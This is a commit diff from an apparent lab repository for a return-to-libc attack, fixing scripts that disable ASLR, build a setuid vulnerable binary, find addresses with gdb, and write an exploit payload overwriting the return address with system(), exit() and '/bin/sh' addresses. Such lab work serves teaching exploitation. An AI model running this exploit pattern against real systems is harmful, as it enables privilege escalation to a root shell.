Skip to content

Commit db9e229

Browse files
committed
errors fixed
1 parent 62d6243 commit db9e229

File tree

4 files changed

+8
-8
lines changed

4 files changed

+8
-8
lines changed

ret2libc/compile_retlib.sh

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
#!/bin/bash
22
sudo sysctl -w kernel.randomize_va_space=0
33

4-
gcc -m32 -o retlib -z execstack -fno-stack-protector retlib.c
4+
gcc -m32 -o -fno-stack-protector -z noexecstack -o retlib retlib.c
55

6-
sudo chown root retlib
7-
sudo chmod 4755 retlib
6+
# sudo chown root retlib
7+
sudo chmod u+s retlib

ret2libc/exploit.c

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -6,11 +6,11 @@ int main(int argc, char **argv)
66
char buf[40];
77
FILE *badfile;
88

9-
badfile = fopen("badfilex", "w");
9+
badfile = fopen("badfile", "w");
1010

1111
strcpy(buf,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");
1212

13-
*(long *) &buf[32] = 0xffffd389; // "/bin/sh"
13+
*(long *) &buf[32] = 0xffffd2e7; // "/bin/sh"
1414
*(long *) &buf[24] = 0xf7e11420 ; // system()
1515
*(long *) &buf[36] = 0xf7e03f80; // exit()
1616

ret2libc/get_add.sh

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
11
#!/bin/bash
22

33
export MYSHELL=/bin/sh
4-
gcc -o getenv getenv.c
4+
gcc -m32 -o getenv getenv.c
55
./getenv MYSHELL ./retlib
66

7-
gdb retlib
7+
gdb --quiet retlib
88
# Commands to be typed
99
# b main
1010
# r

ret2libc/run.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
#!bin/bash
1+
#!/bin/bash
22
gcc -m32 exploit.c -o exploit
33
./exploit
44
./retlib

0 commit comments

Comments
 (0)